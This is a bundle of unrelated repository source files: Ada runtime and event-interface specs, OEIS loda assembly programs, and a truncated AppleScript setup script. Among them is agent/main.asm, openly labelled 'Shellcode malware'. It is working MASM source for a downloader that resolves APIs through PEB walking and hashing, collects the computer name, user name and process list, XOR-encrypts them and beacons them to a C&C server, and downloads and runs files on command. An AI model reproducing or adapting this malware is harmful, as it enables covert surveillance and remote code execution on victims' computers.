-- Provides an interface for an event Subject.
--
is
pragma remote_Types;
type Item is limited interface;
type View is access all Item'Class;
type Views is array (Positive range <>) of View;
type fast_View is access all Item'class;
type fast_Views is array (Positive range <>) of fast_View;
pragma Asynchronous (fast_View);
-- Containers
--
type Observer_views is array (Positive range <>) of Observer.view;
-- Attributes
--
function Name (Self : in Item) return event.subject_Name is abstract;
-- Observers
--
procedure register (Self : access Item; the_Observer : in Observer.view;
of_Kind : in event.Kind) is abstract;
procedure deregister (Self : in out Item; the_Observer : in Observer.view;
of_Kind : in event.Kind) is abstract;
function Observers (Self : in Item; of_Kind : in event.Kind) return Observer_views is abstract;
function observer_Count (Self : in Item) return Natural is abstract;
-- Operations
--
procedure emit (Self : access Item; the_Event : in Event.item'Class := event.null_Event) is abstract;
--
-- Communication errors are ignored.
function emit (Self : access Item; the_Event : in Event.item'Class := event.null_Event)
return Observer_views is abstract;
--
-- Observers who cannot be communicated with are returned.
-- Logging
--
procedure Logger_is (Now : access Event.Logger.item'Class);
function Logger return access Event.Logger.item'Class;
end lace.Subject;
|
programs/oeis/171/A171626.asm | neoneye/loda | 22 | 1433 | <filename>programs/oeis/171/A171626.asm
; A171626: Ceiling(n-th noncomposite/n).
; 1,1,1,2,2,2,2,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
add $0,1
mov $3,$0
trn $0,2
seq $0,6005 ; The odd prime numbers together with 1.
sub $0,2
mov $2,$3
div $2,$3
add $0,$2
div $0,$3
add $0,1
|
agent/main.asm | ElvisBlue/Tiny-Downloader | 1 | 240617 | ;Elvis proundly to present
;The Tiny downloader
;Shellcode malware
.386
.model flat, stdcall
option casemap:none
include kernel32.inc
include user32.inc
include windows.inc
include define.inc
includelib kernel32.lib
includelib user32.lib
API_Array struct
;Kernel32 part
;NUM_OF_KERNEL32_API
pLoadLibrary dd ?
pGetProcAddress dd ?
pGlobalAlloc dd ?
pGlobalFree dd ?
pCreateToolhelp32Snapshot dd ?
pProcess32First dd ?
pProcess32Next dd ?
pCloseHandle dd ?
pSleep dd ?
pGetComputerName dd ?
pExpandEnvironmentStrings dd ?
;WinHttp part
;NUM_OF_WINHTTP_API
pWinHttpOpen dd ?
pWinHttpConnect dd ?
pWinHttpOpenRequest dd ?
pWinHttpSendRequest dd ?
pWinHttpCloseHandle dd ?
pWinHttpReceiveResponse dd ?
pWinHttpQueryDataAvailable dd ?
pWinHttpReadData dd ?
;Shell32 part
;NUM_OF_SHELL32_API
pShellExecute dd ?
;Advapi32 part
;NUM_OF_ADVAPI32_API
pGetUserName dd ?
;Urlmon part
;NUM_OF_URLMON_API
pURLDownloadToFile dd ?
;Wininet
;NUM_OF_WININET_API
pDeleteUrlCacheEntry dd ?
API_Array EndS
SecuredPostData proto :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
GetComputerData proto: DWORD, :DWORD
GetProcessList proto :DWORD, :DWORD
MainProgram proto :DWORD, :DWORD
API_Init proto :DWORD
Load_API_From_Base proto :DWORD, :DWORD, :DWORD
Xor_Enc proto :DWORD, :DWORD, :BYTE
memset proto :DWORD, :BYTE, :DWORD
.data
.data?
.const
NUM_OF_KERNEL32_API equ 11
NUM_OF_WINHTTP_API equ 8
NUM_OF_SHELL32_API equ 1
NUM_OF_ADVAPI32_API equ 1
NUM_OF_URLMON_API equ 1
NUM_OF_WININET_API equ 1
MAX_BUFFER_SIZE equ SIZE_OF_HEADER + SIZE_OF_DATA
SIZE_OF_HEADER equ 9
SIZE_OF_DATA equ 500h
POST_KEY equ 0EBh
RECV_KEY equ 0BEh
.code
start:
cld
call Get_Data_Ptr
;store bundle of API here. Follow the API_Array struct
;Kernel32
dd 0348BF434h, 070B7098h, 0269D395Ah, 08CD14C91h, 09696B34Eh, 0CA526DEAh, 0FE63E981h, 0A3BCCA20h, 0FA920757h, 03F80B76Fh, 0A6CD011Eh
;WinHttp
dd 0C99B39FEh, 0AA1C76F6h, 03AF183C7h, 01BDC49Fh, 0865BD6CEh, 01FFC679Eh, 067113E5Dh, 0A4A64982h
;Shell32
dd 0A663AC4Ah
;Advapi32
dd 0708FAE7Fh
;Urlmon
dd 01E23CFEDh
;Wininet
dd 069EDB96Bh
Get_Data_Ptr:
pop esi
invoke API_Init, esi
.if eax == 0
ret
.endif
push esi
call Push_CnC
dw "l", "o", "c", "a", "l", "h", "o", "s", "t",0
dw 50 dup (0)
Push_CnC:
call MainProgram
xor eax, eax
ret
memset proc uses esi edi buffer:DWORD, value:BYTE, num:DWORD
mov ecx, num
mov al, value
mov edi, buffer
rep stosb
mov eax, buffer
ret
memset EndP
SecuredPostData proc uses esi edi Url_Ptr:DWORD, Path:DWORD, Data:DWORD, Data_Length:DWORD, Recv_Data:DWORD, Recv_Data_Length_Ptr:DWORD, API_Ptr:DWORD
local hSession: DWORD
local hConnect: DWORD
local hRequest: DWORD
local dwDownload:DWORD
mov esi, API_Ptr
assume esi: ptr API_Array
;Clear local variable
xor eax, eax
mov hSession, eax
mov hConnect, eax
mov hRequest, eax
mov dwDownload, 0
mov edx, Recv_Data_Length_Ptr ;Clear Recv_Data_Length_Ptr
xor eax, eax
mov dword ptr [edx], eax
;Encrypt data before post to server with key is 0xEB
invoke Xor_Enc, Data, Data_Length, POST_KEY
push 0
push WINHTTP_NO_PROXY_BYPASS
push WINHTTP_NO_PROXY_NAME
push WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
call Push_User_Agent
dw "M", "o", "z", "i", "l", "l", "a", "/", "4", ".", "0", " ", "(", "c", "o", "m", "p", "a", "t", "i", "b", "l", "e", ";", " "
dw "M", "S", "I", "E", " ", "9", ".", "0", ";", " ", "W", "i", "n", "d", "o", "w", "s", " ", "N", "T", " ", "6", ".", "1", ")",0
Push_User_Agent:
call [esi].pWinHttpOpen
.if eax == 0
jmp Exit
.endif
mov hSession, eax
push 0
push INTERNET_DEFAULT_HTTP_PORT
push Url_Ptr
push eax
call [esi].pWinHttpConnect
.if eax == 0
jmp Free_And_Exit
.endif
mov hConnect, eax
push 0
push WINHTTP_DEFAULT_ACCEPT_TYPES
push WINHTTP_NO_REFERER
push NULL
push Path
call Push_POST
dw "P", "O", "S", "T", 0
Push_POST:
push eax
call [esi].pWinHttpOpenRequest
.if eax == 0
jmp Free_And_Exit
.endif
mov hRequest, eax
push 0
push Data_Length
push Data_Length
push Data
push 0
push WINHTTP_NO_ADDITIONAL_HEADERS
push eax
call [esi].pWinHttpSendRequest
.if eax == 0
jmp Free_And_Exit
.endif
push NULL
push hRequest
call [esi].pWinHttpReceiveResponse
.if eax == 0
jmp Free_And_Exit
.endif
;Because max buffer is 500h.
;So no loop at all
push Recv_Data_Length_Ptr
push hRequest
call [esi].pWinHttpQueryDataAvailable
.if eax == 0
jmp Free_And_Exit
.endif
;Check if data length is > MAX_BUFFER_SIZE
mov edx, Recv_Data_Length_Ptr
mov eax, dword ptr [edx]
.if eax > SIZE_OF_DATA
;ignore this packet
xor eax, eax
mov dword ptr [edx], eax
jmp Free_And_Exit
.endif
lea eax, dwDownload
push eax
push dword ptr [edx]
push Recv_Data
push hRequest
call [esi].pWinHttpReadData
.if eax == 0
;Failed to read data
mov edx, Recv_Data_Length_Ptr
xor eax, eax
mov dword ptr [edx], eax
.endif
;Decrypt data from server
mov edx, Recv_Data_Length_Ptr
mov eax, dword ptr [edx]
invoke Xor_Enc, Recv_Data, eax, RECV_KEY
Free_And_Exit:
mov eax, hSession
.if eax != 0
push eax
call [esi].pWinHttpCloseHandle
.endif
mov eax, hConnect
.if eax != 0
push eax
call [esi].pWinHttpCloseHandle
.endif
mov eax, hRequest
.if eax != 0
push eax
call [esi].pWinHttpCloseHandle
.endif
Exit:
xor eax, eax
ret
SecuredPostData EndP
GetProcessList proc uses esi edi Buffer:DWORD, API_Ptr:DWORD
;function return length of data
local hProcessSnap:DWORD
local cursor:DWORD
local pe32:PROCESSENTRY32
;First clear memory of pe32
lea eax, pe32
invoke memset, eax, 0, sizeof PROCESSENTRY32
;prepare cursor = Buffer
push Buffer
pop cursor
mov esi, API_Ptr
assume esi: ptr API_Array
push 0
push TH32CS_SNAPPROCESS
call [esi].pCreateToolhelp32Snapshot
.if eax == INVALID_HANDLE_VALUE
xor eax, eax
ret
.endif
mov hProcessSnap, eax
mov pe32.dwSize, sizeof PROCESSENTRY32
lea eax, pe32
push eax
push hProcessSnap
call [esi].pProcess32First
.if eax == ERROR_NO_MORE_FILES
jmp End_Process_Loop
.endif
.repeat
lea edx, pe32.szExeFile
mov ecx, cursor
.while byte ptr [edx] != 0
mov al, byte ptr [edx]
mov byte ptr [ecx], al
inc ecx
inc edx
.endw
mov byte ptr [ecx], '/'
inc ecx
mov cursor, ecx
lea eax, pe32
push eax
push hProcessSnap
call [esi].pProcess32Next
.until eax != TRUE
push hProcessSnap
call [esi].pCloseHandle
mov eax, cursor
mov byte ptr [eax-1], 0 ;Clear last '/'
sub eax, Buffer
ret
End_Process_Loop:
push hProcessSnap
call [esi].pCloseHandle
xor eax, eax
ret
GetProcessList EndP
GetComputerData proc uses esi Buffer:DWORD, API_Ptr:DWORD
;return length of data
local tmp:DWORD, Computer_Name_Length: DWORD
mov esi, API_Ptr
assume esi: ptr API_Array
lea eax, tmp
push eax
push Buffer
call [esi].pGetComputerName
.if eax == 0
mov tmp, 0
.endif
mov edx, tmp
push tmp
pop Computer_Name_Length
mov eax, Buffer
lea edx, [eax + edx]
mov byte ptr [edx], '/'
inc edx
lea eax, tmp
push eax ;
push edx ;
call [esi].pGetUserName
.if eax == 0
mov tmp, 0
.endif
mov eax, Computer_Name_Length
add eax, tmp
inc eax
ret
GetComputerData EndP
MainProgram proc Enc_CnC:DWORD, API_Ptr: DWORD
local BufferSend :DWORD
local BufferRecv :DWORD
local Recv_Length :DWORD
local Submit_Path :DWORD
local hwid :DWORD
;Clear some local variable
xor eax, eax
mov BufferSend, eax
mov BufferRecv, eax
mov esi, API_Ptr
assume esi: ptr API_Array
push MAX_BUFFER_SIZE
push GPTR
call [esi].pGlobalAlloc
mov BufferSend, eax
.if eax == 0
xor eax, eax
ret
.endif
push MAX_BUFFER_SIZE
push GPTR
call [esi].pGlobalAlloc
mov BufferRecv, eax
.if eax == 0
jmp break
.endif
;prepare C&C path
call Push_Submit_Path
dw "/", "i", "n", "d", "e", "x", ".", "p", "h", "p",0 ;look legit ;)
Push_Submit_Path:
pop Submit_Path
;OK we need hwid. Hash the computername/username
invoke GetComputerData, BufferSend, esi
push BufferSend
call @DJB_Hash
add esp, 4
mov hwid, eax
.while(TRUE)
;Get Computer data
;Prepare header
invoke memset, BufferSend, 0, MAX_BUFFER_SIZE
mov eax, BufferSend
mov dword ptr [eax], 0CAFEBABEh ;header = 0xCAFEBABE
add eax, 4
mov byte ptr [eax], 0 ;id = 0 -> heart beat
inc eax
push hwid
pop dword ptr [eax]
add eax, 4
invoke GetComputerData,eax, esi
push eax ;save data size
;POST to server
;TOTO: Write code here
invoke memset, BufferRecv, 0, MAX_BUFFER_SIZE
pop eax
add eax, SIZE_OF_HEADER
lea edx, Recv_Length
invoke SecuredPostData, Enc_CnC, Submit_Path, BufferSend, eax, BufferRecv, edx, API_Ptr
;Now dispatch command from C&C
mov edx, BufferRecv
mov eax, dword ptr [edx]
.if eax == 0CAFEBABEh
add edx, 4
mov al, byte ptr [edx]
.if al == 0
;OK. Do nothing
.elseif al == 1
;Download and execute
;packet data struct
;DWORD: Size of uel
;BYTE[]: Url
;DWORD: Size of save path
;BYTE[]: Saved path (with or without environment string)
;Very complex ASM :)
inc edx
mov eax, dword ptr [edx] ;size of url
add edx, 4
;call UrlDownloadToFile
push NULL
push 0
push BufferSend
push edx ;push url
;call DeleteUrlCacheEntry
push edx ;push url
lea ecx, [eax + edx]
xor eax, eax
mov dword ptr [ecx], eax ;clear size of save path. We do not need this
add ecx, 4 ;ecx pointer to save path
;Call ExpandEnvironmentStrings
push MAX_BUFFER_SIZE - 1
push BufferSend
push ecx
;call memset
invoke memset, BufferSend, 0, MAX_BUFFER_SIZE
call [esi].pExpandEnvironmentStrings
.if eax == 0
add esp, 20
jmp End_Dispatch
.endif
call [esi].pDeleteUrlCacheEntry
push NULL
call [esi].pURLDownloadToFile
.if eax == S_OK
push SW_SHOWDEFAULT ;Default or hide?
push NULL
push NULL
push BufferSend
call Push_open
db 'open',0
Push_open:
push NULL
call [esi].pShellExecute
.endif
.endif
.endif
End_Dispatch:
push 10000 ;10 seconds sleep
call [esi].pSleep
;Get Process list
;Preapare header
invoke memset, BufferSend, 0, MAX_BUFFER_SIZE
mov eax, BufferSend
mov dword ptr [eax], 0CAFEBABEh ;header = 0xCAFEBABE
add eax, 4
mov byte ptr [eax], 1 ;id = 1 -> process list
inc eax
push hwid
pop dword ptr [eax]
add eax, 4
invoke GetProcessList, eax, esi
push eax
;POST to server
;TOTO: Write code here
invoke memset, BufferRecv, 0, MAX_BUFFER_SIZE
pop eax
add eax, SIZE_OF_HEADER
lea edx, Recv_Length
invoke SecuredPostData, Enc_CnC, Submit_Path, BufferSend, eax, BufferRecv, edx, API_Ptr
push 30000 ;30 seconds sleep
call [esi].pSleep
.endw
break:
.if BufferSend != 0
push BufferSend
call [esi].pGlobalFree
.endif
.if BufferRecv != 0
push BufferRecv
call [esi].pGlobalFree
.endif
ret
MainProgram EndP
API_Init proc uses esi API_Ptr:DWORD
;First get the kernel32 base
;Thank to: https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
;P/s: I heard some people said that 3rd module might be replaced by AV's dll. Gonna improve some day :)
local cnt:DWORD
assume fs:nothing
xor ecx, ecx
mov cnt, ecx
mov eax, fs:[ecx + 30h] ; EAX = PEB
mov eax, [eax + 0Ch] ; EAX = PEB->Ldr
mov esi, [eax + 14h] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 10h] ; EBX = Base address
;Call function to load API
invoke Load_API_From_Base, API_Ptr, NUM_OF_KERNEL32_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_WinHttp_Dll
db 'Winhttp.dll',0
Push_WinHttp_Dll:
assume esi: ptr API_Array
mov esi, API_Ptr
call [esi].pLoadLibrary
.if eax == 0
;Can't load Winhttp.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, NUM_OF_KERNEL32_API*4
invoke Load_API_From_Base, eax, NUM_OF_WINHTTP_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Shell32_Dll
db 'Shell32.dll',0
Push_Shell32_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load Shell32.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4)
invoke Load_API_From_Base, eax, NUM_OF_SHELL32_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Advapi32_Dll
db 'Advapi32.dll',0
Push_Advapi32_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load Advapi32.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4 + NUM_OF_SHELL32_API*4)
invoke Load_API_From_Base, eax, NUM_OF_ADVAPI32_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Urlmon_Dll
db 'Urlmon.dll',0
Push_Urlmon_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load Urlmon.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4 + NUM_OF_SHELL32_API*4 + NUM_OF_ADVAPI32_API*4)
invoke Load_API_From_Base, eax, NUM_OF_URLMON_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Wininet_Dll
db 'Wininet.dll',0
Push_Wininet_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load wininet.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4 + NUM_OF_SHELL32_API*4 + NUM_OF_ADVAPI32_API*4 + NUM_OF_URLMON_API*4)
invoke Load_API_From_Base, eax, NUM_OF_WININET_API, ebx
.if eax == 0
jmp Failed
.endif
xor eax, eax
mov al, 1
ret
Failed:
xor eax, eax
ret
API_Init EndP
Load_API_From_Base proc uses esi ebx API_Ptr:DWORD, NumOfAPI:DWORD, ModuleBase:DWORD
local cnt:DWORD
xor eax, eax
mov cnt, eax
mov ebx, ModuleBase
mov esi, API_Ptr
Get_API_Loop_Start:
lodsd
mov ecx, cnt
.if ecx < NumOfAPI
push eax ;API checksum/hash
push ebx ;kernel32 base
call Get_API_By_Checksum ;Not a stdcall so add esp, 8
add esp, 8
.if eax == 0
;Failed to find API :(
xor eax, eax
ret
.endif
mov dword ptr [esi - 4], eax
inc cnt
jmp Get_API_Loop_Start
.endif
xor eax, eax
mov al, 1
ret
Load_API_From_Base EndP
Xor_Enc proc uses esi ebx Buffer: DWORD, BufferSize: DWORD, Key: BYTE
xor ecx, ecx
mov al, Key
mov edx, Buffer
.while ecx < BufferSize
mov bl, byte ptr [edx + ecx]
xor al, bl
mov byte ptr [edx + ecx], al
inc ecx
.endw
ret
Xor_Enc EndP
;RIpped code part
;Compile to C++ then .... RIP
;DJB Hash
@DJB_Hash:
push ebp
mov ebp, esp
push ecx
mov dword ptr ss:[ebp-4h], 0CAFEBABEh
jmp short @L_00181846
@L_0018183D:
mov eax, dword ptr ss:[ebp+8h]
add eax, 1h
mov dword ptr ss:[ebp+8h], eax
@L_00181846:
mov ecx, dword ptr ss:[ebp+8h]
movsx edx, byte ptr ds:[ecx]
test edx, edx
je short @L_00181866
mov eax, dword ptr ss:[ebp-4h]
shl eax, 5h
add eax, dword ptr ss:[ebp-4h]
mov ecx, dword ptr ss:[ebp+8h]
movsx edx, byte ptr ds:[ecx]
add eax, edx
mov dword ptr ss:[ebp-4h], eax
jmp short @L_0018183D
@L_00181866:
mov eax, dword ptr ss:[ebp-4h]
mov esp, ebp
pop ebp
ret
;Get API By checksum
;Totally not a std call
Get_API_By_Checksum:
push ebp
mov ebp, esp
sub esp, 14h
cmp dword ptr ss:[ebp+8h], 0h
je @L00000004
mov eax, dword ptr ss:[ebp+8h]
mov ecx, dword ptr ds:[eax+3Ch]
mov edx, dword ptr ss:[ebp+8h]
mov eax, dword ptr ss:[ebp+8h]
add eax, dword ptr ds:[edx+ecx*1h+78h]
mov dword ptr ss:[ebp-0Ch], eax
mov ecx, dword ptr ss:[ebp-0Ch]
mov edx, dword ptr ss:[ebp+8h]
add edx, dword ptr ds:[ecx+20h]
mov dword ptr ss:[ebp-10h], edx
mov eax, dword ptr ss:[ebp-0Ch]
mov ecx, dword ptr ss:[ebp+8h]
add ecx, dword ptr ds:[eax+24h]
mov dword ptr ss:[ebp-8h], ecx
mov edx, dword ptr ss:[ebp-0Ch]
mov eax, dword ptr ss:[ebp+8h]
add eax, dword ptr ds:[edx+1Ch]
mov dword ptr ss:[ebp-14h], eax
mov ecx, dword ptr ss:[ebp-0Ch]
mov edx, dword ptr ds:[ecx+18h]
mov dword ptr ss:[ebp-4h], edx
mov dword ptr ss:[ebp-4h], 0h
jmp short @L00000002
@L00000001:
mov eax, dword ptr ss:[ebp-4h]
add eax, 1h
mov dword ptr ss:[ebp-4h], eax
@L00000002:
mov ecx, dword ptr ss:[ebp-0Ch]
mov edx, dword ptr ss:[ebp-4h]
cmp edx, dword ptr ds:[ecx+18h]
jae short @L00000004
mov eax, dword ptr ss:[ebp-4h]
mov ecx, dword ptr ss:[ebp-10h]
mov edx, dword ptr ds:[ecx+eax*4h]
add edx, dword ptr ss:[ebp+8h]
push edx
call @DJB_Hash
add esp, 4h
cmp eax, dword ptr ss:[ebp+0Ch]
jne short @L00000003
mov eax, dword ptr ss:[ebp-4h]
mov ecx, dword ptr ss:[ebp-8h]
movzx edx, word ptr ds:[ecx+eax*2h]
mov eax, dword ptr ss:[ebp-14h]
mov eax, dword ptr ds:[eax+edx*4h]
add eax, dword ptr ss:[ebp+8h]
jmp short @L00000005
@L00000003:
jmp short @L00000001
@L00000004:
xor eax, eax
@L00000005:
mov esp, ebp
pop ebp
ret
end start |
programs/oeis/256/A256716.asm | karttu/loda | 0 | 246740 | ; A256716: a(n) = n*(n+1)*(22*n-19)/6.
; 0,1,25,94,230,455,791,1260,1884,2685,3685,4906,6370,8099,10115,12440,15096,18105,21489,25270,29470,34111,39215,44804,50900,57525,64701,72450,80794,89755,99355,109616,120560,132209,144585,157710,171606,186295,201799,218140,235340,253421,272405,292314,313170,334995,357811,381640,406504,432425,459425,487526,516750,547119,578655,611380,645316,680485,716909,754610,793610,833931,875595,918624,963040,1008865,1056121,1104830,1155014,1206695,1259895,1314636,1370940,1428829,1488325,1549450,1612226,1676675,1742819,1810680,1880280,1951641,2024785,2099734,2176510,2255135,2335631,2418020,2502324,2588565,2676765,2766946,2859130,2953339,3049595,3147920,3248336,3350865,3455529,3562350,3671350,3782551,3895975,4011644,4129580,4249805,4372341,4497210,4624434,4754035,4886035,5020456,5157320,5296649,5438465,5582790,5729646,5879055,6031039,6185620,6342820,6502661,6665165,6830354,6998250,7168875,7342251,7518400,7697344,7879105,8063705,8251166,8441510,8634759,8830935,9030060,9232156,9437245,9645349,9856490,10070690,10287971,10508355,10731864,10958520,11188345,11421361,11657590,11897054,12139775,12385775,12635076,12887700,13143669,13403005,13665730,13931866,14201435,14474459,14750960,15030960,15314481,15601545,15892174,16186390,16484215,16785671,17090780,17399564,17712045,18028245,18348186,18671890,18999379,19330675,19665800,20004776,20347625,20694369,21045030,21399630,21758191,22120735,22487284,22857860,23232485,23611181,23993970,24380874,24771915,25167115,25566496,25970080,26377889,26789945,27206270,27626886,28051815,28481079,28914700,29352700,29795101,30241925,30693194,31148930,31609155,32073891,32543160,33016984,33495385,33978385,34466006,34958270,35455199,35956815,36463140,36974196,37490005,38010589,38535970,39066170,39601211,40141115,40685904,41235600,41790225,42349801,42914350,43483894,44058455,44638055,45222716,45812460,46407309,47007285,47612410,48222706,48838195,49458899,50084840,50716040,51352521,51994305,52641414,53293870,53951695,54614911,55283540,55957604,56637125
lpb $0,1
add $2,4
add $3,$0
add $1,$3
add $2,5
add $3,$0
sub $0,1
add $3,$2
add $3,$2
lpe
|
bb-runtimes/src/s-bbpara__x86_64.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 30834 | <reponame>JCGobbi/Nucleo-STM32G474RE<gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . B B . P A R A M E T E R S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1999-2002 Universidad Politecnica de Madrid --
-- Copyright (C) 2003-2005 The European Space Agency --
-- Copyright (C) 2003-2021, AdaCore --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNARL is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
-- The port of GNARL to bare board targets was initially developed by the --
-- Real-Time Systems Group at the Technical University of Madrid. --
-- --
------------------------------------------------------------------------------
-- This package defines basic parameters used by the low level tasking system
-- This is the x86-64 version of this package
pragma Restrictions (No_Elaboration_Code);
package System.BB.Parameters is
pragma Pure;
--------------------
-- Hardware clock --
--------------------
Ticks_Per_Second : constant := 1_000_000_000;
-- On x86-64 we read the TSC frequency from the CPU and convert that time
-- to nanoseconds.
TSC_Frequency : constant := 0;
-- The frequency of the Time Stamp Clock (TSC) in Hertz. When set to zero
-- the runtime will attempt to determine its value from the processor's
-- internal registers following the guidelines provided by the Intel 64 and
-- IA-32 Architectures Software Developer's Manual, Volume 3B, Section
-- 18.7.3. Since the TSC clock source is implemented differently across
-- the different Intel chip families, on some certain processors the
-- runtime may fail to either determine the TSC frequency or will set it
-- incorrectly. In the former case the runtime will raise a Program_Error
-- on boot, while for the latter always check to ensure the timing
-- behaviour is as expected. In both cases you will need to manual set the
-- TSC_Frequency constant above.
APIC_Timer_Divider : constant := 16;
-- Since the timer frequency is typically in GHz, clock the timer down as
-- we do not need such a fine grain timer capable of firing every
-- nanosecond (which also means the longest delay we can have before
-- having to reset the 32-bit timer is ~ 1 second). Instead we aim for
-- microsecond granularity.
----------------
-- Interrupts --
----------------
-- These definitions are in this package in order to isolate target
-- dependencies.
subtype Interrupt_Range is Natural range 0 .. 255;
-- Number of interrupts supported by the Local APIC
------------
-- Stacks --
------------
Interrupt_Stack_Frame_Size : constant := 8 * 1024; -- bytes
-- Size of the interrupt stack used for handling an interrupt.
Interrupt_Stack_Size : constant :=
Interrupt_Stack_Frame_Size *
(Interrupt_Priority'Last - Interrupt_Priority'First + 1);
-- Total size of the interrupt stack per processor. Each processor
-- allocates an individual interrupt stack frame for each priority level.
Interrupt_Sec_Stack_Size : constant := 128;
-- Size of the secondary stack for interrupt handlers
Exception_Stack_Size : constant := 4096; -- bytes
-- Size for each processor exception stack.
----------
-- CPUS --
----------
Max_Number_Of_CPUs : constant := 1;
-- Maximum number of CPUs
Multiprocessor : constant Boolean := Max_Number_Of_CPUs /= 1;
-- Are we on a multiprocessor board?
end System.BB.Parameters;
|
Production Scripts/Free Geek Setup/Source/Free Geek Setup.applescript | freegeek-pdx/macOS-Testing-and-Deployment-Scripts | 0 | 4040 | <filename>Production Scripts/Free Geek Setup/Source/Free Geek Setup.applescript
-- By: <NAME>
-- For: MacLand @ Free Geek
--
-- MIT License
--
-- Copyright (c) 2021 Free Geek
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
-- to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
-- and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-- WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--
-- Version: 2022.5.19-1
-- Build Flag: LSUIElement
use AppleScript version "2.7"
use scripting additions
use framework "Cocoa"
repeat -- dialogs timeout when screen is asleep or locked (just in case)
set isAwake to true
try
set isAwake to ((do shell script ("bash -c " & (quoted form of "/usr/libexec/PlistBuddy -c 'Print :0:IOPowerManagement:CurrentPowerState' /dev/stdin <<< \"$(ioreg -arc IODisplayWrangler -k IOPowerManagement -d 1)\""))) is equal to "4")
end try
set isUnlocked to true
try
set isUnlocked to ((do shell script ("bash -c " & (quoted form of "/usr/libexec/PlistBuddy -c 'Print :IOConsoleUsers:0:CGSSessionScreenIsLocked' /dev/stdin <<< \"$(ioreg -ac IORegistryEntry -k IOConsoleUsers -d 1)\""))) is not equal to "true")
end try
if (isAwake and isUnlocked) then
exit repeat
else
delay 1
end if
end repeat
set currentBundleIdentifier to "UNKNOWN"
try
set infoPlistPath to ((POSIX path of (path to me)) & "Contents/Info.plist")
((infoPlistPath as POSIX file) as alias)
set intendedAppName to "Free Geek Setup" -- Hardcode intended App name because Name or Bundle Identifier changes should not be done lightly or accidentally.
try
do shell script ("/usr/libexec/PlistBuddy -c 'Print :FGBuiltByMacLandScriptBuilder' " & (quoted form of infoPlistPath))
((((POSIX path of (path to me)) & "Contents/MacOS/" & intendedAppName) as POSIX file) as alias)
on error
try
activate
end try
display alert "
“" & (name of me) & "” must be built by the “MacLand Script Builder” script." buttons {"Quit"} default button 1 as critical
quit
delay 10
end try
set AppleScript's text item delimiters to "-"
set intendedBundleIdentifier to ("org.freegeek." & ((words of intendedAppName) as string))
set currentBundleIdentifier to ((do shell script ("/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' " & (quoted form of infoPlistPath))) as string)
if (currentBundleIdentifier is not equal to intendedBundleIdentifier) then error "“" & (name of me) & "” does not have the correct Bundle Identifier.
Current Bundle Identifier:
" & currentBundleIdentifier & "
Intended Bundle Identifier:
" & intendedBundleIdentifier
on error checkInfoPlistError
if (checkInfoPlistError does not start with "Can’t make file") then
try
activate
end try
display alert checkInfoPlistError buttons {"Quit"} default button 1 as critical
quit
delay 10
end if
end try
try
set mainScptPath to ((POSIX path of (path to me)) & "Contents/Resources/Scripts/main.scpt")
((mainScptPath as POSIX file) as alias)
do shell script "osadecompile " & (quoted form of mainScptPath)
error "
